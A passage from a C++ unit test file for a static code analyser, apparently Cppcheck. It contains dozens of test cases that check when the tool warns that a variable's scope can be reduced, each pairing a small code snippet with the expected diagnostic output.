check(\"unsigned short foo()\\n\"\n \"{\\n\"\n \" test_client CClient;\\n\"\n \" try\\n\"\n \" {\\n\"\n \" if (CClient.Open())\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" CClient.Close();\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope2() {\n check(\"int foo()\\n\"\n \"{\\n\"\n \" Error e;\\n\"\n \" e.SetValue(12);\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" int *p = 0;\\n\"\n \" if (abc)\\n\"\n \" {\\n\"\n \" p = &i;\\n\"\n \" }\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope4() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope5() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const unsigned char i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {b()}\\n\"\n \" else {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope6() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = x;\\n\"\n \" if (a) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \" if (b) {\\n\"\n \" c(i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #5398\n \" bool success = false;\\n\"\n \" int notReducable(someClass.getX(&success));\\n\"\n \" if (success) {\\n\"\n \" foo(notReducable);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Test &test) {\\n\"\n \" int& x = test.getData();\\n\"\n \" if (test.process())\\n\"\n \" x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \"int foo = 0;\\n\"\n \"std::vector vec(10);\\n\"\n \"BOOST_FOREACH(int& i, vec)\\n\"\n \"{\\n\"\n \" foo += 1;\\n\"\n \" if(foo == 10)\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int &x)\\n\"\n \"{\\n\"\n \" int n = 1;\\n\"\n \" do\\n\"\n \" {\\n\"\n \" ++n;\\n\"\n \" ++x;\\n\"\n \" } while (x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope7() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int y = 0;\\n\"\n \" b(y);\\n\"\n \" if (x) {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope8() {\n check(\"void test() {\\n\"\n \" float edgeResistance=1;\\n\"\n \" std::vector edges;\\n\"\n \" BOOST_FOREACH(int edge, edges) {\\n\"\n \" edgeResistance = (edge+1) / 2.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'edgeResistance' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope9() {\n // classes may have extra side effects\n check(\"class fred {\\n\"\n \"public:\\n\"\n \" void x();\\n\"\n \"};\\n\"\n \"void test(int a) {\\n\"\n \" fred f;\\n\"\n \" if (a == 2) {\\n\"\n \" f.x();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope10() {\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x = 0;\\n\"\n \" FOR {\\n\"\n \" foo(x++);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope11() {\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" if (a == 1) { AB ab = { x, 0 }; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope12() {\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j = y;\\n\"\n \" if (x)\\n\"\n \" foo(i);\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j;\\n\"\n \" if (x)\\n\"\n \" j = i;\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = true;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = x;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope13() {\n // #2770\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" forever {\\n\"\n \" if (i++ == 42) { break; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope14() {\n // #3941\n check(\"void f() {\\n\"\n \" const int i( foo());\\n\"\n \" if(a) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope15() {\n // #4573\n check(\"void f() {\\n\"\n \" int a,b,c;\\n\"\n \" if (a);\\n\"\n \" else if(b);\\n\"\n \" else if(c);\\n\"\n \" else;\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope16() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while((++a) < 56) {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" foo();\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while(z());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope17() {\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope18() {\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" x = 10;\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" if(d)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope20() { // Ticket #5103 - constant variable only used in inner scope\n check(\"int f(int a) {\\n\"\n \" const int x = 234;\\n\"\n \" int b = a;\\n\"\n \" if (b > 32) b = x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope21() { // Ticket #5382 - initializing two-dimensional array\n check(\"int test() {\\n\"\n \" int test_value = 3;\\n\"\n \" int test_array[1][1] = { { test_value } };\\n\"\n \" return sizeof(test_array);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope22() { // Ticket #5684 - \"The scope of the variable 'p' can be reduced\" - But it can not.\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // try to avoid an obvious false negative after applying the fix for the example above:\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" int dummy = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" p = & dummy;\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'p' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope23() { // #6154: Don't suggest to reduce scope if inner scope is a lambda\n check(\"int main() {\\n\"\n \" size_t myCounter = 0;\\n\"\n \" Test myTest([&](size_t aX){\\n\"\n \" std::cout << myCounter += aX << std::endl;\\n\"\n \" });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope24() {\n check(\"void f(Foo x) {\\n\"\n \" Foo &r = x;\\n\"\n \" if (cond) {\\n\"\n \" r.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'r' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(Foo x) {\\n\"\n \" Foo foo = x;\\n\"\n \" if (cond) {\\n\"\n \" foo.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope25() {\n check(\"void f() {\\n\"\n \" time_t currtime;\\n\"\n \" if (a) {\\n\"\n \" currtime = time(&dummy);\\n\"\n \" if (currtime > t) {}\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:12]: (style) The scope of the variable 'currtime' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope26() {\n check(\"void f(const std::map &m) {\\n\"\n \" for (auto it : m) {\\n\"\n \" if (cond1) {\\n\"\n \" int& key = it.first;\\n\"\n \" if (cond2) { dostuff(key); }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope27() {\n checkP(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f() {\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" int x = 0;\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope28() {\n check(\"void f() {\\n\" // #10527\n \" int i{};\\n\"\n \" if (double d = g(i); d == 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope29() { // #10888\n check(\"enum E { E0 };\\n\"\n \"struct S { int i; };\\n\"\n \"void f(int b) {\\n\"\n \" enum E e;\\n\"\n \" struct S s;\\n\"\n \" if (b) {\\n\"\n \" e = E0;\\n\"\n \" s.i = 0;\\n\"\n \" g(e, s);\\n\"\n \" }\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:12]: (style) The scope of the variable 'e' can be reduced. [variableScope]\\n\"\n \"[test.c:5:14]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::string s;\\n\"\n \" if (b) {\\n\"\n \" s = \\\"abc\\\";\\n\"\n \" g(s);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"auto foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'vec' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"auto& foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope30() { // #8541\n check(\"bool f(std::vector& v, int i) {\\n\"\n \" int n = 0;\\n\"\n \" bool b = false;\\n\"\n \" std::for_each(v.begin(), v.end(), [&](int j) {\\n\"\n \" if (j == i) {\\n\"\n \" ++n;\\n\"\n \" if (n > 5)\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" });\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope31() { // #11099\n check(\"bool g(std::vector&);\\n\"\n \"void h(std::vector);\\n\"\n \"void f0(std::vector v) {\\n\"\n \" std::vector w{ v };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f1(std::vector v) {\\n\"\n \" std::vector w{ v.begin(), v.end() };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f2(std::vector v) {\\n\"\n \" std::vector w{ 10, 0, std::allocator() };\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f3(std::vector v) {\\n\"\n \" std::vector w{ 10, 0 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f4(std::vector v) {\\n\"\n \" std::vector w{ 10 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f5(std::vector v) {\\n\"\n \" std::vector w(v);\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f6(std::vector v) {\\n\"\n \" std::vector w(v.begin(), v.end());\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f7(std::vector v) {\\n\"\n \" std::vector w(10, 0, std::allocator);\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f8(std::vector v) {\\n\"\n \" std::vector w(10, 0);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f9(std::vector v) {\\n\"\n \" std::vector w(10);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f10(std::vector v) {\\n\"\n \" std::vector w{};\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:25:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:32:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:60:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:67:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:74:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope32() { // #11441\n check(\"template \\n\"\n \"std::vector g(F, const std::vector&);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" std::vector w;\\n\"\n \" for (auto x : v)\\n\"\n \" w = g([&]() { x; }, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (warning) Unused variable value 'x' [constStatement]\\n\", errout_str());\n }\n\n void varScope33() { // #11131\n check(\"struct S {\\n\"\n \" const std::string& getStr() const;\\n\"\n \" void mutate();\\n\"\n \" bool getB() const;\\n\"\n \"};\\n\"\n \"void g(S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" s.mutate();\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g(char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" s[0] = '\\\\0';\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" std::string str2{ s.getStr() };\\n\"\n \" std::string str3(s.getStr());\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" if (str2 == \\\"abc\\\") {}\\n\"\n \" if (str3 == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(int j, bool b) {\\n\"\n \" int k = j;\\n\"\n \" if (b) {\\n\"\n \" if (k == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:21:17]: (style) The scope of the variable 'str' can be reduced. [variableScope]\\n\"\n \"[test.cpp:22:17]: (style) The scope of the variable 'str2' can be reduced. [variableScope]\\n\"\n \"[test.cpp:23:17]: (style) The scope of the variable 'str3' can be reduced. [variableScope]\\n\"\n \"[test.cpp:31:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\"\n \"[test.cpp:37:9]: (style) The scope of the variable 'k' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope34() { // #11742\n check(\"void f() {\\n\"\n \" bool b = false;\\n\"\n \" int i = 1;\\n\"\n \" for (int k = 0; k < 20; ++k) {\\n\"\n \" b = !b;\\n\"\n \" if (b)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope35() { // #11845\n check(\"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = strcpy(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope36() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope37() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else {\\n\"\n \" if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope38() {\n checkP(\"bool dostuff();\\n\" // #12519\n \"#define DOSTUFF(c) if (c < 5) { if (c) b = dostuff(); }\\n\"\n \"#define DOSTUFFEX(c) { bool b = false; DOSTUFF(c); }\\n\"\n \"void f(int a) {\\n\"\n \" DOSTUFFEX(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope39() {\n check(\"struct S {\\n\" // #12405\n \" void f(const std::string&) const;\\n\"\n \" const int* g(std::string&) const;\\n\"\n \"};\\n\"\n \"void h(int);\\n\"\n \"void S::f(const std::string& s) const {\\n\"\n \" std::string n = s;\\n\"\n \" const int* a = g(n);\\n\"\n \" if (n == \\\"abc\\\") {\\n\"\n \" h(a[0]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope40() {\n checkP(\"#define NUM (-999.9)\\n\" // #8862\n \"double f(int i) {\\n\"\n \" double a = NUM;\\n\"\n \" double b = -NUM;\\n\"\n \" double c = -1.0 * NUM;\\n\"\n \" if (i == 1) {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" if (i == 2) {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \" if (i == 3) {\\n\"\n \" return c;\\n\"\n \" }\\n\"\n \" return 0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\"\n \"[test.cpp:4:12]: (style) The scope of the variable 'b' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:12]: (style) The scope of the variable 'c' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #12618\n \"int f(const S* s, int i) {\\n\"\n \" int x = s->a;\\n\"\n \" const int b[] = { 1, 2, 3 };\\n\"\n \" int y = b[1];\\n\"\n \" if (i)\\n\"\n \" return x + y;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:9]: (style) The scope of the variable 'y' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope41() { // #11845\n check(\"void get_errmsg(const char **msg, char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(&msg, buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void get_errmsg(char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope42() {\n check(\"void f(const char **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" char msg [42] = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" int *msg = calloc(0, sizeof(*msg));\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", *msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(const char *&, const char *&);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char *buf = malloc(42);\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" 